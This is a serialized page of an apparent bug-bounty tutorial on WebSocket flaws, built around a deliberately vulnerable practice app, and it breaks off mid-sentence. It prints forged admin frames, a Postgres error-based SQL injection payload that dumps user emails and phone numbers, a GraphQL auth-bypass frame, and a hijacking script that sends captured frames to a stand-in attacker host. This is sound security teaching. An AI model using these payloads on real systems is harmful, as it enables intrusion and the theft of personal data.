[{"data":1,"prerenderedAt":1375},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-hunting-websockets-bugs-behind-101-switching-protocols":33,"post-nav-hunting-websockets-bugs-behind-101-switching-protocols":1355,"video-hunting-websockets-bugs-behind-101-switching-protocols":1365,"i-tabler:copy":1373},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-20T13:00:00Z",null,"Hey, check out the latest article:",{"href":8,"label":9},"\u002Fduplicates-are-part-of-the-process","Read it","Duplicates Are Part Of The Process.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":1331,"cover":1334,"coverImage":1345,"date":1346,"description":1347,"draft":14,"extension":1348,"meta":1349,"navigation":30,"noindex":14,"path":1350,"readingTime":5,"seo":1351,"slug":1352,"stem":1352,"updatedAt":1353,"youtubeId":42,"__hash__":1354},"blog\u002Fhunting-websockets-bugs-behind-101-switching-protocols.md","Hunting WebSockets: Bugs Behind 101 Switching Protocols",{"type":37,"value":38,"toc":1317},"minimark",[39,43,52,55,62,65,70,119,123,126,139,146,166,173,192,196,205,208,214,217,221,224,261,267,276,282,296,304,307,317,323,326,330,333,336,395,401,406,409,415,459,462,466,469,472,516,519,522,525,567,580,585,588,624,634,640,643,647,650,672,682,688,702,718,787,790,796,820,826,829,833,836,851,981,984,990,993,1037,1040,1082,1094,1098,1107,1110,1173,1204,1207,1211,1214,1226,1232,1238,1241,1245,1248,1251,1257,1261,1313],[40,41],"post-media",{"video":42},"UV4dO8uJjig",[44,45,46,47,51],"p",{},"Most hunters stop at ",[48,49,50],"code",{},"101 Switching Protocols",". The request count freezes, the scanner goes quiet, and the tab looks dead. So they close it and move on. That is the mistake, and it is exactly where the money is.",[44,53,54],{},"WebSocket security is the surface almost nobody tests. People pull full remote code execution out of WebSockets, and most bug bounty hunters never even open the WebSocket tab. They test the app over HTTP, watch the requests stream in, then hit that 101 and treat it like the edge of the map. It is not the edge. It is the door.",[44,56,57,58,61],{},"Here is the uncomfortable truth. The ",[48,59,60],{},"101"," is not where you stop. It is where the hunt starts. Everything a company spends money defending lives on the HTTP side. The moment the connection upgrades, most of that protection is gone, and the same boring bugs you already know how to find are sitting in frames nobody inspects.",[44,63,64],{},"This article walks the whole surface. Broken authorization on a per-message basis, an IDOR that turns into a database dump, a GraphQL auth bypass almost nobody knows about, and a webpage that ends in a shell. I built a deliberately vulnerable WebSocket app so you can practice every attack here yourself. The link is in the video description. Spin it up and follow along.",[66,67,69],"h2",{"id":68},"tldr","TL;DR",[71,72,73,81,87,93,103,113],"ul",{},[74,75,76,80],"li",{},[77,78,79],"strong",{},"The Same-Origin Policy does not apply to WebSockets."," The protection you lean on everywhere else is not there, which is what makes cross-site attacks on the handshake possible.",[74,82,83,86],{},[77,84,85],{},"Authorization is usually checked once, at the handshake."," After the upgrade, the server trusts the pipe. Every frame you send after that is its own request nobody re-checks.",[74,88,89,92],{},[77,90,91],{},"Old bugs live in new frames."," IDOR, SQL injection, and broken function-level authorization all survive over WebSockets because no WAF, CSRF token, or access-control middleware is wired into the message handler.",[74,94,95,98,99,102],{},[77,96,97],{},"The client picks the GraphQL subprotocol."," Sending ",[48,100,101],{},"Sec-WebSocket-Protocol: graphql-ws"," can drop you onto a legacy handler that accepts subscriptions before authentication runs.",[74,104,105,108,109,112],{},[77,106,107],{},"CSWSH is not dead, it is narrower."," SameSite Lax killed the lazy version, but same-site subdomains, ",[48,110,111],{},"SameSite=None"," cookies, and localhost services keep it alive.",[74,114,115,118],{},[77,116,117],{},"Caido now has WebSocket Replay."," It is Repeater for sockets. Editing and firing a single frame is finally a first-class action.",[66,120,122],{"id":121},"what-a-websocket-actually-is","What a WebSocket Actually Is",[44,124,125],{},"A WebSocket is one connection that stays open so both sides can talk whenever they want. That is the whole model, and everything you attack later hangs on it.",[44,127,128,129,138],{},"A normal ",[130,131,137],"a",{"href":132,"rel":133,"target":136},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FHTTP?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"noopener","noreferrer","_blank","HTTP"," request is one and done. You ask, the server answers, the conversation ends. Every new thing you want, you knock again. A WebSocket throws that out. It opens a single pipe and keeps it open, and the server can push to you without you asking. That is why chat updates live, why a trading dashboard ticks in real time, why a collab doc shows another cursor moving. Notifications, multiplayer, GraphQL subscriptions. All of it rides WebSockets.",[44,140,141],{},[142,143],"img",{"alt":144,"src":145},"02-http-vs-websocket","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002F02-http-vs-websocket.png",[44,147,148,149,152,153,156,157,159,160,165],{},"It starts as a completely normal HTTP request. A ",[48,150,151],{},"GET"," with one special header, ",[48,154,155],{},"Upgrade: websocket",". The server agrees, replies with ",[48,158,50],{},", and from that exact moment the connection stops being request and response. It becomes an open pipe in both directions until someone closes it. This is all defined in ",[130,161,164],{"href":162,"rel":163,"target":136},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc6455?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"RFC 6455",".",[44,167,168,169,172],{},"You will see a header called ",[48,170,171],{},"Sec-WebSocket-Key",". Ignore the name. It is not authentication. It is a handshake formality that proves both sides speak the protocol. It protects nothing.",[44,174,175,176,181,182,187,188,191],{},"And here is the fact that breaks this entire surface open. The ",[130,177,180],{"href":178,"rel":179,"target":136},"https:\u002F\u002Fdeveloper.mozilla.org\u002Fen-US\u002Fdocs\u002FWeb\u002FSecurity\u002FSame-origin_policy?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"Same-Origin Policy",", the rule that stops one website from reading another site's data, ",[130,183,186],{"href":184,"rel":185,"target":136},"https:\u002F\u002Fblog.securityevaluators.com\u002Fwebsockets-not-bound-by-cors-does-this-mean-2e7819374acc?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"does not apply to WebSocket connections",". The server has to check the ",[48,189,190],{},"Origin"," header itself, and plenty of them do not. Sit with that, because it comes back later. After the upgrade, the messages are usually just JSON. They look like little API calls, because that is exactly what they are.",[66,193,195],{"id":194},"why-websockets-are-a-blind-spot","Why WebSockets Are a Blind Spot",[44,197,198,199,204],{},"WebSockets are a blind spot because a company's defenses live on HTTP routes, not on the message handler. The WAF inspects HTTP. The CSRF tokens sit on HTTP forms. The access-control middleware runs on HTTP endpoints. Almost none of it is wired into the socket. ",[130,200,203],{"href":201,"rel":202,"target":136},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fwebsockets?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"PortSwigger"," says it plainly: most testers stop the second they see that 101.",[44,206,207],{},"Then there is the deeper problem. On most apps, authorization is checked one time, at the handshake. Once you are connected, the server trusts the pipe. It does not re-check who you are on every message. So every single frame you send after that is its own little request, and almost nobody tests whether that request is actually allowed.",[44,209,210],{},[142,211],{"alt":212,"src":213},"01-the-blind-spot","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002F01-the-blind-spot.png",[44,215,216],{},"That is the prize. Not some exotic WebSocket-only exploit. It is the normal bugs you already hunt, IDOR, injection, broken authorization, sitting in frames that no tool and no hunter ever looks at. The vulnerability class is old. The location is new.",[66,218,220],{"id":219},"the-five-step-recipe-and-the-tools","The Five-Step Recipe and the Tools",[44,222,223],{},"Run the same five-step recipe on every WebSocket target you touch. It turns a vague \"there's a socket here\" into a repeatable test.",[225,226,227,237,243,249,255],"ol",{},[74,228,229,232,233,236],{},[77,230,231],{},"Discover the WebSocket."," Find the ",[48,234,235],{},"\u002Fws"," endpoint and its subprotocol.",[74,238,239,242],{},[77,240,241],{},"Recognize the 101."," The upgrade is where the hunt starts, not where it ends.",[74,244,245,248],{},[77,246,247],{},"Model the auth."," Handshake only, or checked per message? This decides everything.",[74,250,251,254],{},[77,252,253],{},"Filter the noise."," A live stream is mostly keepalive junk. Cut to the frames that matter.",[74,256,257,260],{},[77,258,259],{},"Replay or edit a single frame."," Change one message, send it, watch what breaks.",[44,262,263],{},[142,264],{"alt":265,"src":266},"03-the-recipe","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002F03-the-recipe.png",[44,268,269,270,275],{},"In ",[130,271,274],{"href":272,"rel":273,"target":136},"https:\u002F\u002Fcaido.io\u002F?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"Caido",", four tools cover the whole flow.",[44,277,278,281],{},[77,279,280],{},"WS History"," is the record of every socket Caido has seen. One row is one connection. On the right, every message that rode it, with an arrow for direction. To-server is you talking, to-client is the server pushing back. It is read only. This is the tape, not the place you tamper.",[44,283,284,287,288,291,292,295],{},[77,285,286],{},"StreamQL"," is the filter language for sockets, the same idea as HTTPQL for normal traffic. Two namespaces, ",[48,289,290],{},"ws"," for messages and ",[48,293,294],{},"stream"," for connections. Drop the tiny keepalive frames and leave the real messages:",[297,298,302],"pre",{"code":299,"language":300,"meta":301},"ws.format.eq:\"text\" AND ws.len.gt:100\n","text","",[48,303,299],{},[44,305,306],{},"It takes regex too, so you can sweep every frame for a pattern in one query.",[44,308,309,312,313,316],{},[77,310,311],{},"Intercept"," catches a message mid-flight so you can change it before it reaches the server. Turn on the ",[48,314,315],{},"Websockets"," toggle, trigger an action, edit the queued frame, then forward. You reach for this when timing and order matter.",[44,318,319,322],{},[77,320,321],{},"WS Replay"," is the new one, and the reason this is worth a video right now. It takes the upgrade, opens its own fresh connection, and lets you edit any single frame and fire it over and over. This is Repeater, but for WebSockets. Before it shipped, testing a socket meant fighting your tools. Now it is edit and send.",[44,324,325],{},"History to find the traffic, StreamQL to filter it, Intercept to catch it live, Replay to craft and fire. Every attack below is one of those four.",[66,327,329],{"id":328},"broken-authorization-talking-like-an-admin","Broken Authorization: Talking Like an Admin",[44,331,332],{},"Broken function-level authorization over a WebSocket means a low-privilege user sends a privileged message and the server runs it, because it only checked who you were at the handshake. This is the cleanest proof of the whole idea.",[44,334,335],{},"To send an admin message, you first need to know what one looks like. Do not guess. Read the client. Learn the normal shape from your own traffic first. A chat send looks like this:",[297,337,341],{"code":338,"language":339,"meta":301,"className":340,"style":301},"{\"type\":\"chat.send\",\"text\":\"hi\"}\n","json","shiki shiki-themes vitesse-dark vitesse-light",[48,342,343],{},[344,345,348,352,356,360,362,365,368,372,374,377,379,381,383,385,387,390,392],"span",{"class":346,"line":347},"line",1,[344,349,351],{"class":350},"somML","{",[344,353,355],{"class":354},"sIkdJ","\"",[344,357,359],{"class":358},"s6_DI","type",[344,361,355],{"class":354},[344,363,364],{"class":350},":",[344,366,355],{"class":367},"sy_C3",[344,369,371],{"class":370},"sRRDT","chat.send",[344,373,355],{"class":367},[344,375,376],{"class":350},",",[344,378,355],{"class":354},[344,380,300],{"class":358},[344,382,355],{"class":354},[344,384,364],{"class":350},[344,386,355],{"class":367},[344,388,389],{"class":370},"hi",[344,391,355],{"class":367},[344,393,394],{"class":350},"}\n",[44,396,397,398,400],{},"Every message is the same skeleton. A ",[48,399,359],{},", plus some fields. Now you need the types you are not allowed to send. Your account does not see the admin panel, the UI hides it. But the code that drives that panel still ships to every browser. Open the app's JavaScript in dev tools and search the bundle for the message types:",[297,402,404],{"code":403,"language":300,"meta":301},"admin.broadcast\nadmin.setMotd\nops.runDiagnostic\n",[48,405,403],{},[44,407,408],{},"You did not invent those. The client handed them to you. The UI hides the button, it does not hide the code.",[44,410,411,412,414],{},"Now build the attack, and do not type a frame from scratch. Take a real one you already captured, so the structure is guaranteed valid, and change nothing but the ",[48,413,359],{},". In WS Replay:",[297,416,418],{"code":417,"language":339,"meta":301,"className":340,"style":301},"{\"type\":\"admin.broadcast\",\"payload\":\"Owned by a regular user.\"}\n",[48,419,420],{},[344,421,422,424,426,428,430,432,434,437,439,441,443,446,448,450,452,455,457],{"class":346,"line":347},[344,423,351],{"class":350},[344,425,355],{"class":354},[344,427,359],{"class":358},[344,429,355],{"class":354},[344,431,364],{"class":350},[344,433,355],{"class":367},[344,435,436],{"class":370},"admin.broadcast",[344,438,355],{"class":367},[344,440,376],{"class":350},[344,442,355],{"class":354},[344,444,445],{"class":358},"payload",[344,447,355],{"class":354},[344,449,364],{"class":350},[344,451,355],{"class":367},[344,453,454],{"class":370},"Owned by a regular user.",[344,456,355],{"class":367},[344,458,394],{"class":350},[44,460,461],{},"Send it from the low-privilege session. It goes out to every connected client. The handshake was the only door, and you walked through it already. Every message since has been on the honor system. That is broken function-level authorization, living in a frame.",[66,463,465],{"id":464},"one-id-field-from-idor-to-the-whole-database","One ID Field, From IDOR to the Whole Database",[44,467,468],{},"This is the one to really watch. It starts as the most boring bug in the book, an IDOR, and ends with the whole user table. One field does all the work.",[44,470,471],{},"Say the app opens a document over the socket. The message is a type and an id:",[297,473,475],{"code":474,"language":339,"meta":301,"className":340,"style":301},"{\"type\":\"document.get\",\"id\":\"9001928374650192837465001\"}\n",[48,476,477],{},[344,478,479,481,483,485,487,489,491,494,496,498,500,503,505,507,509,512,514],{"class":346,"line":347},[344,480,351],{"class":350},[344,482,355],{"class":354},[344,484,359],{"class":358},[344,486,355],{"class":354},[344,488,364],{"class":350},[344,490,355],{"class":367},[344,492,493],{"class":370},"document.get",[344,495,355],{"class":367},[344,497,376],{"class":350},[344,499,355],{"class":354},[344,501,502],{"class":358},"id",[344,504,355],{"class":354},[344,506,364],{"class":350},[344,508,355],{"class":367},[344,510,511],{"class":370},"9001928374650192837465001",[344,513,355],{"class":367},[344,515,394],{"class":350},[44,517,518],{},"Change the id to a document you do not own and resend. If it comes back, there is no ownership check. That is IDOR. Same bug you would find on an HTTP endpoint, except it is hiding in a frame nobody inspects.",[44,520,521],{},"Then you hit the wall, and the wall is what makes this interesting. The ids are long, 25 random digits. High entropy. You can read a document if you know its id, but you cannot guess them. Most hunters stop here and report a medium. But high entropy is not authorization. It just means you need a list.",[44,523,524],{},"So make the field talk. Change the id to a single quote:",[297,526,528],{"code":527,"language":339,"meta":301,"className":340,"style":301},"{\"type\":\"document.get\",\"id\":\"'\"}\n",[48,529,530],{},[344,531,532,534,536,538,540,542,544,546,548,550,552,554,556,558,560,563,565],{"class":346,"line":347},[344,533,351],{"class":350},[344,535,355],{"class":354},[344,537,359],{"class":358},[344,539,355],{"class":354},[344,541,364],{"class":350},[344,543,355],{"class":367},[344,545,493],{"class":370},[344,547,355],{"class":367},[344,549,376],{"class":350},[344,551,355],{"class":354},[344,553,502],{"class":358},[344,555,355],{"class":354},[344,557,364],{"class":350},[344,559,355],{"class":367},[344,561,562],{"class":370},"'",[344,564,355],{"class":367},[344,566,394],{"class":350},[44,568,569,570,575,576,579],{},"If the id drops into a SQL query with no parameterization, ",[130,571,574],{"href":572,"rel":573,"target":136},"https:\u002F\u002Fwww.postgresql.org\u002Fdocs\u002Fcurrent\u002Ferrcodes-appendix.html?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"Postgres"," throws the query straight back at you in an ",[48,577,578],{},"error"," frame. Isolate it:",[297,581,583],{"code":582,"language":300,"meta":301},"ws.raw.cont:\"error\"\n",[48,584,582],{},[44,586,587],{},"It is injectable, and now it talks. From here, error-based extraction. Cast the data you want into a number so Postgres chokes and spills the value inside the error text:",[297,589,592],{"code":590,"language":591,"meta":301,"className":340,"style":301},"1' AND 1=CAST((SELECT string_agg(email||':'||recovery_phone, ',') FROM users) AS int)--\n","sql",[48,593,594],{},[344,595,596,600,602,605,607,610,612,615,617,619,621],{"class":346,"line":347},[344,597,599],{"class":598},"sUQhE","1",[344,601,562],{"class":367},[344,603,604],{"class":370}," AND 1=CAST((SELECT string_agg(email||",[344,606,562],{"class":367},[344,608,364],{"class":609},"sG2Fq",[344,611,562],{"class":367},[344,613,614],{"class":370},"||recovery_phone, ",[344,616,562],{"class":367},[344,618,376],{"class":609},[344,620,562],{"class":367},[344,622,623],{"class":370},") FROM users) AS int)--\n",[44,625,626,627,630,631,633],{},"Postgres reports ",[48,628,629],{},"invalid input syntax for integer",", and the emails and recovery phones ride out in the message. Pull the real document ids the same way. Then close the loop. Feed those harvested ids back into the original ",[48,632,493],{}," IDOR.",[44,635,636],{},[142,637],{"alt":638,"src":639},"04-idor-to-sqli-loop","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002F04-idor-to-sqli-loop.png",[44,641,642],{},"The injection handed you the ids. The ids unlock the IDOR. The wall that stopped everyone else was the door. An IDOR on a frame that pivots into error-based SQL injection over a WebSocket is a real report. That shape paid two thousand dollars earlier this year. The bug was never exotic. It was just somewhere nobody looked.",[66,644,646],{"id":645},"the-graphql-subprotocol-nobody-picks","The GraphQL Subprotocol Nobody Picks",[44,648,649],{},"A GraphQL subscription rides a WebSocket, and there are two protocols that do it with a naming trap that is almost cruel. This one is for people who think they know GraphQL. GraphQL is just the passenger. The bug is in the WebSocket underneath.",[44,651,652,653,656,657,662,663,665,666,671],{},"The modern protocol subprotocol is ",[48,654,655],{},"graphql-transport-ws",", implemented by the ",[130,658,661],{"href":659,"rel":660,"target":136},"https:\u002F\u002Fgithub.com\u002Fenisdenjo\u002Fgraphql-ws?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"graphql-ws"," library. The legacy one is ",[48,664,661],{},", implemented by the older, unmaintained ",[130,667,670],{"href":668,"rel":669,"target":136},"https:\u002F\u002Fgithub.com\u002Fapollographql\u002Fsubscriptions-transport-ws?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"subscriptions-transport-ws",". Same words, different machines. Five things make this exploitable.",[44,673,674,677,678,681],{},[77,675,676],{},"The client picks the protocol."," It is chosen through the ",[48,679,680],{},"Sec-WebSocket-Protocol"," header on the upgrade. Not the server. You.",[44,683,684,687],{},[77,685,686],{},"Servers leave both on."," For backwards compatibility, the weak old handler is usually sitting right there, even though the real frontend never touches it.",[44,689,690,693,694,697,698,701],{},[77,691,692],{},"The modern handler gates everything."," You have to send ",[48,695,696],{},"connection_init",", get an ack, and only then can you ask for data. The legacy handler, in a popular setup, did not. Authentication ran in an ",[48,699,700],{},"onConnect"," callback that some servers never implemented, so a subscription could proceed before any auth.",[44,703,704,705,707,708,710,711,713,714,717],{},"To exploit it, take the upgrade into WS Replay and change the header from ",[48,706,655],{}," to ",[48,709,661],{},". Skip ",[48,712,696],{}," entirely. Send a legacy ",[48,715,716],{},"start"," frame straight away:",[297,719,721],{"code":720,"language":339,"meta":301,"className":340,"style":301},"{\"id\":\"1\",\"type\":\"start\",\"payload\":{\"query\":\"subscription { adminAlerts { severity message host } }\"}}\n",[48,722,723],{},[344,724,725,727,729,731,733,735,737,739,741,743,745,747,749,751,753,755,757,759,761,763,765,768,770,773,775,777,779,782,784],{"class":346,"line":347},[344,726,351],{"class":350},[344,728,355],{"class":354},[344,730,502],{"class":358},[344,732,355],{"class":354},[344,734,364],{"class":350},[344,736,355],{"class":367},[344,738,599],{"class":370},[344,740,355],{"class":367},[344,742,376],{"class":350},[344,744,355],{"class":354},[344,746,359],{"class":358},[344,748,355],{"class":354},[344,750,364],{"class":350},[344,752,355],{"class":367},[344,754,716],{"class":370},[344,756,355],{"class":367},[344,758,376],{"class":350},[344,760,355],{"class":354},[344,762,445],{"class":358},[344,764,355],{"class":354},[344,766,767],{"class":350},":{",[344,769,355],{"class":354},[344,771,772],{"class":358},"query",[344,774,355],{"class":354},[344,776,364],{"class":350},[344,778,355],{"class":367},[344,780,781],{"class":370},"subscription { adminAlerts { severity message host } }",[344,783,355],{"class":367},[344,785,786],{"class":350},"}}\n",[44,788,789],{},"No init. No ack. No session. You forced the app onto the old handler and subscribed to the admin alerts, and it streamed. That is an auth bypass, and it maps to real CVEs.",[44,791,792],{},[142,793],{"alt":794,"src":795},"05-subprotocol-trap","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002F05-subprotocol-trap.png",[44,797,798,801,802,807,808,811,812,815,816,819],{},[77,799,800],{},"Read the close codes like an oracle."," Back on the modern path, poke it and watch how it closes. Per the ",[130,803,806],{"href":804,"rel":805,"target":136},"https:\u002F\u002Fgithub.com\u002Fenisdenjo\u002Fgraphql-ws\u002Fblob\u002Fmaster\u002FPROTOCOL.md?utm_source=amrelsagaei.com&utm_medium=referral",[134,135],"graphql-ws protocol",", ",[48,809,810],{},"4401"," means there is a real gate before the ack. ",[48,813,814],{},"4403"," means auth is enforced and you failed it. ",[48,817,818],{},"4408"," means you never sent init in time. Those numbers map how the server thinks before you even land the bug.",[44,821,822,825],{},[77,823,824],{},"Introspection leaks per transport."," Send an introspection query over the socket. Teams block it on the HTTP endpoint and forget introspection is a per-transport setting. The socket runs the same schema, so the whole map of the API comes back over the channel nobody watches.",[44,827,828],{},"Be clear about tooling. All of that is by hand in WS Replay. For normal HTTP GraphQL there is the GraphQL Analyzer plugin, where you right-click a POST request and pull the schema by introspection. That is the HTTP side. Over a socket there is no shortcut. You craft the frames yourself. The move is what matters. The client picks the protocol, so you pick the weaker one.",[66,830,832],{"id":831},"from-a-webpage-to-a-shell","From a Webpage to a Shell",[44,834,835],{},"Cross-Site WebSocket Hijacking (CSWSH) is CSRF on the handshake. A page on another origin opens a socket to a site you are logged into, the browser attaches your session cookie, and because WebSockets are not covered by the Same-Origin Policy, the connection succeeds as you.",[44,837,838,839,842,843,846,847,850],{},"The catch is the cookie. It rides along only if it is same-site. An attacker page on ",[48,840,841],{},"evil.victim.com",", a subdomain of the target ",[48,844,845],{},"app.victim.com",", counts as same-site, so a ",[48,848,849],{},"SameSite=Lax"," cookie is sent on the handshake. The attacker page is a few lines:",[297,852,855],{"code":853,"language":854,"meta":301,"className":340,"style":301},"const ws = new WebSocket(\"wss:\u002F\u002Fapp.victim.com\u002Fws\");\nws.onmessage = (e) => {\n  \u002F\u002F every inbound frame, straight into the attacker's log\n  fetch(\"https:\u002F\u002Fevil.victim.com\u002Fcollect\", { method: \"POST\", body: e.data });\n};\n","javascript",[48,856,857,890,917,924,975],{},[344,858,859,863,867,870,873,877,880,882,885,887],{"class":346,"line":347},[344,860,862],{"class":861},"sfIIG","const",[344,864,866],{"class":865},"snInM"," ws",[344,868,869],{"class":350}," =",[344,871,872],{"class":861}," new",[344,874,876],{"class":875},"swzfi"," WebSocket",[344,878,879],{"class":350},"(",[344,881,355],{"class":367},[344,883,884],{"class":370},"wss:\u002F\u002Fapp.victim.com\u002Fws",[344,886,355],{"class":367},[344,888,889],{"class":350},");\n",[344,891,893,895,897,900,902,905,908,911,914],{"class":346,"line":892},2,[344,894,290],{"class":865},[344,896,165],{"class":350},[344,898,899],{"class":875},"onmessage",[344,901,869],{"class":350},[344,903,904],{"class":350}," (",[344,906,907],{"class":865},"e",[344,909,910],{"class":350},")",[344,912,913],{"class":350}," =>",[344,915,916],{"class":350}," {\n",[344,918,920],{"class":346,"line":919},3,[344,921,923],{"class":922},"sy60D","  \u002F\u002F every inbound frame, straight into the attacker's log\n",[344,925,927,930,932,934,937,939,941,944,947,949,952,955,957,959,962,964,967,969,972],{"class":346,"line":926},4,[344,928,929],{"class":875},"  fetch",[344,931,879],{"class":350},[344,933,355],{"class":367},[344,935,936],{"class":370},"https:\u002F\u002Fevil.victim.com\u002Fcollect",[344,938,355],{"class":367},[344,940,376],{"class":350},[344,942,943],{"class":350}," {",[344,945,946],{"class":358}," method",[344,948,364],{"class":350},[344,950,951],{"class":367}," \"",[344,953,954],{"class":370},"POST",[344,956,355],{"class":367},[344,958,376],{"class":350},[344,960,961],{"class":358}," body",[344,963,364],{"class":350},[344,965,966],{"class":865}," e",[344,968,165],{"class":350},[344,970,971],{"class":865},"data",[344,973,974],{"class":350}," });\n",[344,976,978],{"class":346,"line":977},5,[344,979,980],{"class":350},"};\n",[44,982,983],{},"When the victim, signed in as an admin, visits that page, the socket connects as them and their private frames stream into the attacker's log. No phishing form. No token theft. The browser attached the session because WebSockets do not get the Same-Origin Policy, and the page is same-site.",[44,985,986],{},[142,987],{"alt":988,"src":989},"06-cswsh-same-site","\u002Fimages\u002Fblog\u002Fhunting-websockets-bugs-behind-101-switching-protocols\u002F06-cswsh-same-site.png",[44,991,992],{},"That read-back is the part most people miss. CSWSH is not fire and forget. Because the pipe is two-way, you are not just sending, you are reading data back out. Now turn it into something worse. Drive an admin-only action over the hijacked socket. Say the ops diagnostic pings a 